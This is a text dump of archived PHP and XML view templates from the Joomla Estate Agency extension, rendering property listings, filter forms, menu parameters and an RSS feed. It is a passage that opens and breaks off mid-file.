	<?php endif ?>

	<p>
		<input type="reset" class="button"
value="<?php echo JText::_('JSEARCH_FILTER_CLEAR')
?>" />
		<input type="submit" class="button"
value="<?php echo $useAjax ?
JText::_('COM_JEA_LIST_PROPERTIES') :
JText::_('JSEARCH_FILTER_SUBMIT')?>" />
	</p>
</form>
views/properties/tmpl/manage.xml000064400000000317151165174030013027
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_JEA_PROPERTIES_MANAGE_LAYOUT_TITLE">
		<message>
			<![CDATA[COM_JEA_PROPERTIES_MANAGE_LAYOUT_DESC]]>
		</message>
	</layout>
</metadata>views/properties/tmpl/default.php000064400000017517151165174030013224
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @var $this JeaViewProperties
 */
JHtml::stylesheet('media/com_jea/css/jea.admin.css');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$listOrder     =
$this->escape($this->state->get('list.ordering'));
$listDirection =
$this->escape($this->state->get('list.direction'));

$saveOrder     = $listOrder == 'p.ordering';

if ($saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_jea&task=properties.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'propertiesList',
'adminForm', strtolower($listDirection), $saveOrderingUrl);
}
?>

<form action="<?php echo
JRoute::_('index.php?option=com_jea&view=properties')
?>" method="post" name="adminForm"
id="adminForm">

	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar ?>
	</div>

	<div id="j-main-container" class="span10">
		<?php echo
JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this)) ?>

		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
		<table class="table table-striped"
id="propertiesList">
			<thead>
				<tr>
					<th width="1%" class="nowrap center
hidden-phone">
						<?php echo JHtml::_('searchtools.sort', '',
'p.ordering', $listDirection, $listOrder, null, 'asc',
'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
					</th>
					<th width="1%" class="center">
						<?php echo JHtml::_('grid.checkall') ?>
					</th>
					<th width="10%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort',
'COM_JEA_FIELD_REF_LABEL', 'p.ref', $listDirection ,
$listOrder ) ?>
					</th>
					<th class="nowrap">
						<?php echo JText::_('COM_JEA_FIELD_PROPERTY_TYPE_LABEL')
?>
					</th>
					<th width="27%" class="nowrap">
						<?php echo JText::_('COM_JEA_FIELD_ADDRESS_LABEL') ?>
					</th>
					<th width="10%" class="nowrap">
						<?php echo JText::_('COM_JEA_FIELD_TOWN_LABEL') ?>
					</th>
					<th width="10%" class="nowrap">
						<?php echo JText::_('COM_JEA_FIELD_DEPARTMENT_LABEL')
?>
					</th>
					<th width="10%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort',
'COM_JEA_FIELD_PRICE_LABEL', 'p.price', $listDirection
, $listOrder ) ?>
					</th>
					<th width="1%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort',
'JFEATURED', 'p.featured', $listDirection , $listOrder
) ?>
					</th>
					<th width="1%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort',
'JSTATUS', 'p.published', $listDirection , $listOrder )
?>
					</th>
					<th width="5%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort',
'JGRID_HEADING_ACCESS', 'access_level', $listDirection,
$listOrder); ?>
					</th>
					<th width="10%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort',
'JGRID_HEADING_CREATED_BY', 'author', $listDirection ,
$listOrder ) ?>
					</th>
					<th width="5%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort',
'JDATE', 'p.created', $listDirection , $listOrder )
?>
					</th>
					<th width="1%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort',
'JGLOBAL_HITS', 'p.hits', $listDirection , $listOrder )
?>
					</th>
					<th width="5%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort',
'JGRID_HEADING_LANGUAGE', 'language', $listDirection,
$listOrder); ?>
					</th>
					<th width="1%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort',
'JGRID_HEADING_ID', 'p.id', $listDirection , $listOrder
) ?>
					</th>
				</tr>
			</thead>

			<tfoot>
				<tr>
					<td colspan="16"></td>
				</tr>
			</tfoot>

			<tbody>
			<?php foreach ($this->items as $i => $item) : ?>
<?php
$canEdit  = $this->user->authorise('core.edit',    
'com_jea.property.'.$item->id);
$canCheckin = $this->user->authorise('core.manage',  
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$canEditOwn = $this->user->authorise('core.edit.own',  
'com_jea.property.'.$item->id) && $item->created_by
== $this->user->id;
$canChange  = $this->user->authorise('core.edit.state',
'com_jea.property.'.$item->id) && $canCheckin;
?>

				<tr class="row<?php echo $i % 2 ?>">
					<td class="order nowrap center hidden-phone">
						<?php
						$iconClass = '';
						if (!$canChange)
						{
							$iconClass = ' inactive';
						}
						elseif (!$saveOrder)
						{
							$iconClass = ' inactive tip-top hasTooltip"
title="' . JHtml::_('tooltipText',
'JORDERINGDISABLED');
						}
						?>
						<span class="sortable-handler<?php echo $iconClass
?>">
							<span class="icon-menu"
aria-hidden="true"></span>
						</span>
						<?php if ($canChange && $saveOrder) : ?>
							<input type="text" style="display:none"
name="order[]" size="5" value="<?php echo
$item->ordering; ?>" class="width-20 text-area-order"
/>
						<?php endif; ?>
					</td>
					<td class="center">
						<?php echo JHtml::_('grid.id', $i, $item->id) ?>
					</td>
					<td class="has-context">
					<?php if ($item->checked_out) : ?>
						<?php echo JHtml::_('jgrid.checkedout', $i,
$item->author, $item->checked_out_time, 'properties.',
$canCheckin); ?>
					<?php endif ?>
					<?php if ($canEdit || $canEditOwn) : ?>
						<a href="<?php echo
JRoute::_('index.php?option=com_jea&task=property.edit&id='.(int)
$item->id); ?>">
						<?php echo $this->escape($item->ref); ?>
						</a>
					<?php else : ?>
						<?php echo $this->escape($item->ref); ?>
					<?php endif ?>
					</td>
					<td>
						<?php echo $this->escape( $item->type ) ?>
					</td>
					<td>
						<?php echo $this->escape( $item->address ) ?>
					</td>
					<td>
						<?php echo $this->escape( $item->town ) ?>
					</td>
					<td class="left nowrap">
						<?php echo $this->escape( $item->department ) ?>
					</td>
					<td class="right">
						<?php echo $item->price ?> <?php echo
$this->params->get('currency_symbol',
'&euro;') ?>
						<?php if ($item->transaction_type == 'RENTING') echo
JText::_('COM_JEA_PRICE_PER_FREQUENCY_'.
$item->rate_frequency) ?>
					</td>
					<td class="center">
						<?php echo JHtml::_('contentadministrator.featured',
$item->featured, $i, $canChange) ?>
					</td>
					<td class="center">
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'properties.', $canChange,
'cb', $item->publish_up, $item->publish_down) ?>
					</td>
					<td class="center">
						<?php echo $this->escape($item->access_level); ?>
					</td>
					<td>
					<?php if ( $this->user->authorise( 'com_users',
'manage' ) ): ?>
						<a href="<?php echo JRoute::_(
'index.php?option=com_users&task=user.edit&id='.
$item->created_by )  ?>" title="<?php echo
JText::_('COM_JEA_EDIT_USER') ?> ">
						<?php echo $this->escape( $item->author ) ?>
						</a>
					<?php else : echo $this->escape( $item->author ) ?>
					<?php endif ?>
					</td>
					<td class="center">
						<?php echo JHtml::_('date',  $item->created,
JText::_('DATE_FORMAT_LC4')) ?>
					</td>
					<td class="center"><?php echo $item->hits
?></td>
					<td class="center">
					<?php if ($item->language=='*'): ?>
						<?php echo JText::alt('JALL', 'language')
?>
					<?php else: ?>
						<?php echo $item->language_title ?
$this->escape($item->language_title) :
JText::_('JUNDEFINED') ?>
					<?php endif ?>
					</td>
					<td class="center">
						<?php echo $item->id ?>
					</td>
				</tr>
			<?php endforeach ?>
			</tbody>
		</table>

		<?php echo $this->pagination->getListFooter() ?>

		<?php endif ?>

		<div>
			<input type="hidden" name="task"
value="" />
			<input type="hidden" name="boxchecked"
value="0" />
			<?php echo JHtml::_('form.token') ?>
		</div>
	</div>
</form>
views/properties/tmpl/searchmap.xml000064400000006606151165174030013551
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_TITLE">
		<message>
			<![CDATA[COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_DESC]]>
		</message>
	</layout>

		<fields name="params">
			<fieldset name="basic"
label="COM_JEA_MENU_PARAMS_LABEL">
			
				<field name="searchform_default_map_area"
type="text" default=""
label="COM_JEA_FIELD_SEARCHFORM_DEFAULT_MAP_AREA_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_DEFAULT_MAP_AREA_DESC"
size="20" />
				<field name="searchform_map_width" type="text"
default=""
label="COM_JEA_FIELD_SEARCHFORM_MAP_WIDTH_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_MAP_WIDTH_DESC"
size="5" />
				<field name="searchform_map_height" type="text"
default=""
label="COM_JEA_FIELD_SEARCHFORM_MAP_HEIGHT_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_MAP_HEIGHT_DESC"
size="5" />
	
				<field name="searchform_transaction_type"
type="list"
label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_TRANSACTION_TYPE_DESC">
					<option value="">JALL</option>
					<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
					<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
				</field>
	
				<field name="searchform_show_departments"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_DEPARTMENTS_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
	
				<field name="searchform_show_towns" type="list"
label="COM_JEA_FIELD_SEARCHFORM_TOWNS_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field name="searchform_show_areas" type="list"
label="COM_JEA_FIELD_SEARCHFORM_AREAS_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field name="searchform_show_budget" type="list"
label="COM_JEA_FIELD_SEARCHFORM_BUDGET_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field name="searchform_show_living_space"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_LIVING_SPACE_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field name="searchform_show_land_space"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_LAND_SPACE_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field name="searchform_show_number_of_rooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_ROOMS_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field name="searchform_show_number_of_bedrooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BEDROOMS_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field name="searchform_show_amenities"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_AMENITIES_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
			</fieldset>
		</fields>
</metadata>
views/properties/tmpl/manage.php000064400000015604151165174030013023
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die();

/**
 *
 * @var $this JeaViewProperties
 */

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
JHtml::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR .
'/helpers/html');

$listOrder =
$this->escape($this->state->get('list.ordering'));
$listDirection =
$this->escape($this->state->get('list.direction'));

$user = JFactory::getUser();
$canDelete = $user->authorise('core.delete',
'com_jea');

$transactionType =
$this->state->get('filter.transaction_type');

$script = <<<EOB
function changeOrdering( order, direction )
{
	var form = document.getElementById('adminForm');
	form.filter_order.value = order;
	form.filter_order_Dir.value = direction;
	form.submit();
}
EOB;

$this->document->addScriptDeclaration($script);
?>

<?php if ($this->params->get('show_page_heading', 1)) :
?>
	<?php if ($this->params->get('page_heading')) : ?>
	<h1><?php echo
$this->escape($this->params->get('page_heading'))
?></h1>
	<?php else: ?>
	<h1><?php echo
$this->escape($this->params->get('page_title'))
?></h1>
	<?php endif ?>
<?php endif ?>

<?php if ($user->authorise('core.create',
'com_jea')): ?>
<p class="jea_add_new">
	<a href="<?php echo
JRoute::_('index.php?option=com_jea&task=property.add')
?>"><?php echo JText::_('COM_JEA_ADD_NEW_PROPERTY'
)?></a>
</p>
<?php endif ?>

<form name="adminForm" id="adminForm"
action="<?php echo JRoute::_('') ?>"
method="post">

<?php if (!empty($this->items)): ?>
	<p class="limitbox">
		<em><?php echo JText::_('COM_JEA_RESULTS_PER_PAGE')
?> : </em> <?php echo $this->pagination->getLimitBox()
?>
	</p>
<?php endif ?>

	<p>
		<select name="filter_transaction_type"
class="inputbox" onchange="this.form.submit()">
			<option value=""> - <?php echo
JText::_('COM_JEA_FIELD_TRANSACTION_TYPE_LABEL')?> -
</option>
			<option value="RENTING" <?php if ($transactionType ==
'RENTING') echo '
selected="selected"'?>>
				<?php echo JText::_('COM_JEA_OPTION_RENTING')?>
			</option>
			<option value="SELLING"
				<?php if ($transactionType == 'SELLING') echo '
selected="selected"'?>>
				<?php echo JText::_('COM_JEA_OPTION_SELLING')?>
			</option>
			<?php // TODO: call plugin entry to add more transaction types  ?>
		</select>

		<?php echo JHtml::_('features.types',
$this->state->get('filter.type_id', 0),
'filter_type_id',
'onchange="document.adminForm.submit();"' ) ?>

		<select name="filter_language" class="inputbox"
onchange="this.form.submit()">
			<option value=""><?php echo
JText::_('JOPTION_SELECT_LANGUAGE');?></option>
			<?php echo JHtml::_('select.options',
JHtml::_('contentlanguage.existing', true, true),
'value', 'text',
$this->state->get('filter.language'));?>
		</select>
	</p>

<?php if (!empty($this->items)): ?>
	<table class="jea_listing">
		<thead>
			<tr>
				<th><?php echo $this->sort('COM_JEA_REF',
'p.ref', $listDirection , $listOrder) ?></th>
				<th><?php echo
$this->sort('COM_JEA_FIELD_PROPERTY_TYPE_LABEL',
'type', $listDirection , $listOrder) ?></th>
				<th><?php echo
JText::_('COM_JEA_FIELD_ADDRESS_LABEL' )?></th>
				<th><?php echo
$this->sort('COM_JEA_FIELD_TOWN_LABEL', 'town',
$listDirection , $listOrder) ?></th>
				<th class="right"><?php echo
$this->sort('COM_JEA_FIELD_LIVING_SPACE_LABEL',
'living_space', $listDirection , $listOrder) ?></th>
				<th class="right"><?php echo
$this->sort('COM_JEA_FIELD_PRICE_LABEL', 'p.price',
$listDirection , $listOrder) ?></th>
				<th class="center"><?php echo
JText::_('JSTATUS' )?></th>
				<?php if ($canDelete): ?>
				<th class="center"><?php echo
JText::_('JACTION_DELETE' )?></th>
				<?php endif ?>
			</tr>
		</thead>

		<tbody>
<?php foreach ($this->items as $i => $row): ?>
	<?php
		$row->slug = $row->alias ? ($row->id . ':' .
$row->alias) : $row->id;
		$canCheckin = $user->authorise('core.manage',
'com_checkin') || $row->checked_out == $user->id ||
$row->checked_out == 0;
		$canChange = $user->authorise('core.edit.state',
'com_jea.property.' . $row->id) && $canCheckin;
		$canDelete = $user->authorise('core.delete',
'com_jea.property.' . $row->id);
	?>

			<tr class="row<?php echo $i % 2 ?>">
				<td class="nowrap">
				<a href="<?php echo JRoute::_(
'index.php?option=com_jea&task=property.edit&id='.$row->id
) ?>" title="<?php echo JText::_('JACTION_EDIT')
?>">
					<?php echo $row->ref ?>
				</a>
				</td>
				<td><?php echo $row->type ?></td>
				<td><?php echo $row->address ?></td>
				<td><?php echo $row->town ?></td>
				<td class="right nowrap"><?php echo
JHtml::_('utility.formatSurface', (float) $row->living_space ,
'-' ) ?></td>
				<td class="right nowrap">
					<?php echo JHtml::_('utility.formatPrice', (float)
$row->price, '-') ?>
					<?php if ($row->transaction_type == 'RENTING'
&& (float)$row->price != 0.0) echo
JText::_('COM_JEA_PRICE_PER_FREQUENCY_'. $row->rate_frequency)
?>
				</td>
				<td class="center">
					<?php if ($canChange): $task = $row->published ?
'unpublish' : 'publish'; ?>
					<a href="<?php echo JRoute::_(
'index.php?option=com_jea&task=property.'.$task.'&id='.$row->id
) ?>">
					<?php endif ?>

						<?php if ($row->published): $title = $canChange ?
'JLIB_HTML_UNPUBLISH_ITEM' : 'COM_JEA_PUBLISHED'  ?>
						<img src="<?php echo
$this->baseurl.'/media/com_jea/images/published.png'
?>"
							alt="<?php echo JText::_('COM_JEA_PUBLISHED')
?>"
							title="<?php echo JText::_($title) ?>" />

						<?php else: $title = $canChange ?
'JLIB_HTML_PUBLISH_ITEM' : 'COM_JEA_UNPUBLISHED' ?>
						<img
							src="<?php echo
$this->baseurl.'/media/com_jea/images/unpublished.png'
?>"
							alt="<?php echo JText::_('COM_JEA_UNPUBLISHED')
?>"
							title="<?php echo JText::_($title) ?>" />
						<?php endif ?>

				<?php if ($canChange): ?>
					</a><?php endif ?>
				</td>

				<?php if ($canDelete): ?>
				<td class="center">
					<a href="<?php echo JRoute::_(
'index.php?option=com_jea&task=property.delete&id='.$row->id
) ?>"
						title="<?php echo JText::_('JACTION_DELETE')
?>"
						onclick="return confirm('<?php echo
JText::_('COM_JEA_MESSAGE_CONFIRM_DELETE') ?>')">
						<img src="<?php echo
$this->baseurl.'/media/com_jea/images/media_trash.png'
?>" alt="" />
					</a>
				</td>
				<?php endif ?>
			</tr>
<?php endforeach ?>
		</tbody>
	</table>
<?php endif ?>

	<div>
		<input type="hidden" name="filter_order"
value="<?php echo $listOrder ?>" />
		<input type="hidden" name="filter_order_Dir"
value="<?php echo $listDirection ?>" />
		<input type="hidden" name="task"
value="" />
		<input type="hidden" name="Itemid"
value="<?php echo
JFactory::getApplication()->input->getInt('Itemid', 0)
?>" />
	</div>

	<div class="pagination">
		<p class="counter">
			<?php echo $this->pagination->getPagesCounter() ?>
		</p>
		<?php echo $this->pagination->getPagesLinks() ?>
	</div>

</form>
views/properties/tmpl/default_remind.php000064400000013411151165174030014547
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 *
 * @var $this JeaViewProperties
 */

$states = array();
$filters = $this->get('Filters');

foreach ($filters as $name => $defaultValue)
{
	$states['filter_' . $name] =
$this->state->get('filter.' . $name, $defaultValue);
}
?>

<?php if ($states['filter_transaction_type'] ==
'RENTING'): ?>
<strong><?php echo JText::_('COM_JEA_OPTION_RENTING')
?></strong>
<?php elseif ($states['filter_transaction_type'] ==
'SELLING'): ?>
<strong><?php echo JText::_('COM_JEA_OPTION_SELLING')
?></strong>
<?php endif ?>

<?php if ($states['filter_type_id'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_PROPERTY_TYPE_LABEL') ?> :
</strong>
<?php echo
$this->getFeatureValue($states['filter_type_id'],
'types') ?>
<?php endif ?>

<?php if ($states['filter_department_id'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_DEPARTMENT_LABEL') ?> :
</strong>
<?php echo
$this->getFeatureValue($states['filter_department_id'],
'departments') ?>
<?php endif ?>

<?php if ($states['filter_town_id'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_FIELD_TOWN_LABEL')
?> : </strong>
<?php echo
$this->getFeatureValue($states['filter_town_id'],
'towns') ?>
<?php endif ?>

<?php if ($states['filter_area_id'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_FIELD_AREA_LABEL')
?> : </strong>
<?php echo
$this->getFeatureValue($states['filter_area_id'],
'areas') ?>
<?php endif ?>

<?php if (!empty($states['filter_zip_codes'])): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_ZIP_CODE_LABEL') ?> : </strong>
<?php echo $this->escape($states['filter_zip_codes']) ?>
<?php endif ?>

<?php if ($states['filter_budget_min'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_BUDGET_MIN') ?>
: </strong>
<?php echo JHtml::_('utility.formatPrice',
$states['filter_budget_min']) ?>
<?php endif ?>

<?php if ($states['filter_budget_max'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_BUDGET_MAX') ?>
: </strong>
<?php echo JHtml::_('utility.formatPrice',
$states['filter_budget_max']) ?>
<?php endif ?>

<?php if ($states['filter_living_space_min'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_LIVING_SPACE_MIN')
?> : </strong>
<?php echo JHtml::_('utility.formatSurface',
$states['filter_living_space_min']) ?>
<?php endif ?>

<?php if ($states['filter_living_space_max'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_LIVING_SPACE_MAX')
?> : </strong>
<?php echo JHtml::_('utility.formatSurface',
$states['filter_living_space_max']) ?>
<?php endif ?>

<?php if ($states['filter_land_space_min'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_LAND_SPACE_MIN')
?> : </strong>
<?php echo JHtml::_('utility.formatSurface',
$states['filter_land_space_min']) ?>
<?php endif ?>

<?php if ($states['filter_land_space_max'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_LAND_SPACE_MAX')
?> : </strong>
<?php echo JHtml::_('utility.formatSurface',
$states['filter_land_space_max']) ?>
<?php endif ?>

<?php if ($states['filter_rooms_min'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_NUMBER_OF_ROOMS_MIN') ?> : </strong>
<?php echo $this->escape($states['filter_rooms_min']) ?>
<?php endif ?>

<?php if ($states['filter_bedrooms_min'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_NUMBER_OF_BEDROOMS_MIN') ?> :
</strong>
<?php echo $this->escape($states['filter_bedrooms_min'])
?>
<?php endif ?>

<?php if ($states['filter_bathrooms_min'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_NUMBER_OF_BATHROOMS_MIN') ?> :
</strong>
<?php echo $this->escape($states['filter_bathrooms_min'])
?>
<?php endif ?>

<?php if ($states['filter_floor'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_FIELD_FLOOR_LABEL')
?> : </strong>
<?php echo $this->escape($states['filter_floor']) ?>
<?php endif ?>

<?php if ($states['filter_hotwatertype'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_HOTWATERTYPE_LABEL') ?> :
</strong>
<?php echo
$this->getFeatureValue($states['filter_hotwatertype'],
'hotwatertypes') ?>
<?php endif ?>

<?php if ($states['filter_heatingtype'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_HEATINGTYPE_LABEL') ?> :
</strong>
<?php echo
$this->getFeatureValue($states['filter_heatingtype'],
'heatingtypes') ?>
<?php endif ?>

<?php if ($states['filter_condition'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_CONDITION_LABEL') ?> : </strong>
<?php echo
$this->getFeatureValue($states['filter_condition'],
'conditions') ?>
<?php endif ?>

<?php if (!empty($states['filter_orientation'])): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_ORIENTATION_LABEL') ?> :
</strong>
<?php
switch ($states['filter_orientation'])
{
	case 'N':
		echo JText::_('COM_JEA_OPTION_NORTH');
		break;
	case 'NW':
		echo JText::_('COM_JEA_OPTION_NORTH_WEST');
		break;
	case 'NE':
		echo JText::_('COM_JEA_OPTION_NORTH_EAST');
		break;
	case 'NS':
		echo JText::_('COM_JEA_OPTION_NORTH_SOUTH');
		break;
	case 'W':
		echo JText::_('COM_JEA_OPTION_WEST');
		break;
	case 'S':
		echo JText::_('COM_JEA_OPTION_SOUTH');
		break;
	case 'SW':
		echo JText::_('COM_JEA_OPTION_SOUTH_WEST');
		break;
	case 'SE':
		echo JText::_('COM_JEA_OPTION_SOUTH_EAST');
		break;
	case 'E':
		echo JText::_('COM_JEA_OPTION_EAST');
		break;
	case 'EW':
		echo JText::_('COM_JEA_OPTION_EAST_WEST');
		break;
}
?>
<?php endif ?>

<?php if (is_array($states['filter_amenities']) &&
!empty($states['filter_amenities'])): ?>
<br />
<strong><?php echo JText::_('COM_JEA_AMENITIES') ?> :
</strong>
<?php echo JHtml::_('amenities.bindList',
$states['filter_amenities']) ?>
<?php endif ?>
views/properties/tmpl/default.xml000064400000003706151165174030013230
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_JEA_PROPERTIES_DEFAULT_LAYOUT_TITLE">
		<message>
			<![CDATA[COM_JEA_PROPERTIES_DEFAULT_LAYOUT_DESC]]>
		</message>
	</layout>

	<fields name="params">
		<fieldset name="basic"
label="COM_JEA_MENU_PARAMS_LABEL"
			addfieldpath="/administrator/components/com_jea/models/fields"
		>
			<field
				name="filter_transaction_type"
				default="SELLING"
				type="list"
				label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
			>
				<option value="0">JALL</option>
				<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
				<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
			</field>

			<field
				name="filter_type_id"
				type="featureList"
				subtype="types"
				label="COM_JEA_FIELD_PROPERTY_TYPES_FILTER_LABEL"
				size="5"
				multiple="true"
				description="COM_JEA_FIELD_PROPERTY_TYPES_FILTER_DESC"
			/>

			<field
				name="filter_department_id"
				type="featureList"
				subtype="departments"
				label="COM_JEA_FIELD_DEPARTMENT_LABEL"
				filter="intval"
				description="COM_JEA_FIELD_DEPARTMENT_FILTER_DESC"
			/>

			<field
				name="filter_town_id"
				type="featureList"
				subtype="towns"
				label="COM_JEA_FIELD_TOWN_LABEL"
				filter="intval"
				description="COM_JEA_FIELD_TOWN_FILTER_DESC"
			/>

			<field
				name="filter_area_id"
				type="featureList"
				subtype="areas"
				label="COM_JEA_FIELD_AREA_LABEL"
				filter="intval"
				description="COM_JEA_FIELD_AREA_FILTER_DESC"
			/>

			<field
				name="show_creation_date"
				type="list"
				label="COM_JEA_FIELD_SHOW_CREATION_DATE_LABEL"
				useglobal="true"
			>
				<option value="0">JHide</option>
				<option value="1">JShow</option>
			</field>

			<field
				name="show_feed_link"
				type="list"
				default="1"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				description="JGLOBAL_SHOW_FEED_LINK_DESC"
			>
				<option value="0">JNo</option>
				<option value="1">JYes</option>
			</field>
		</fieldset>
	</fields>
</metadata>
views/properties/view.feed.php000064400000003567151165174030012500
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Property list feed view.
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaViewProperties extends JViewLegacy
{
	/**
	 * Overrides parent method.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::display()
	 */
	public function display($tpl = null)
	{
		$app = JFactory::getApplication();
		$document = JFactory::getDocument();
		$document->link =
JRoute::_('index.php?option=com_jea&view=properties');
		JFactory::getApplication()->input->set('limit',
$app->get('feed_limit'));
		$rows = $this->get('Items');

		foreach ($rows as $row)
		{
			if (empty($row->title))
			{
				$title =
ucfirst(JText::sprintf('COM_JEA_PROPERTY_TYPE_IN_TOWN',
$this->escape($row->type), $this->escape($row->town)));
			}
			else
			{
				// Strip html from feed item title
				$title = $this->escape($row->title);
			}

			$row->slug = $row->alias ? ($row->id . ':' .
$row->alias) : $row->id;

			// Url link to article
			$link = JRoute::_('index.php?view=properties&id=' .
$row->slug);

			// Strip html from feed item description text
			$description = strip_tags($row->description);

			// Load individual item creator class
			$item = new JFeedItem;
			$item->title = html_entity_decode($title);
			$item->link = $link;
			$item->description = $description;
			$item->date = $row->date_insert;
			$item->category = $row->type_id;

			// Loads item info into rss array
			$document->addItem($item);
		}
	}
}
views/properties/view.html.php000064400000005752151165174030012537
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Properties list View.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
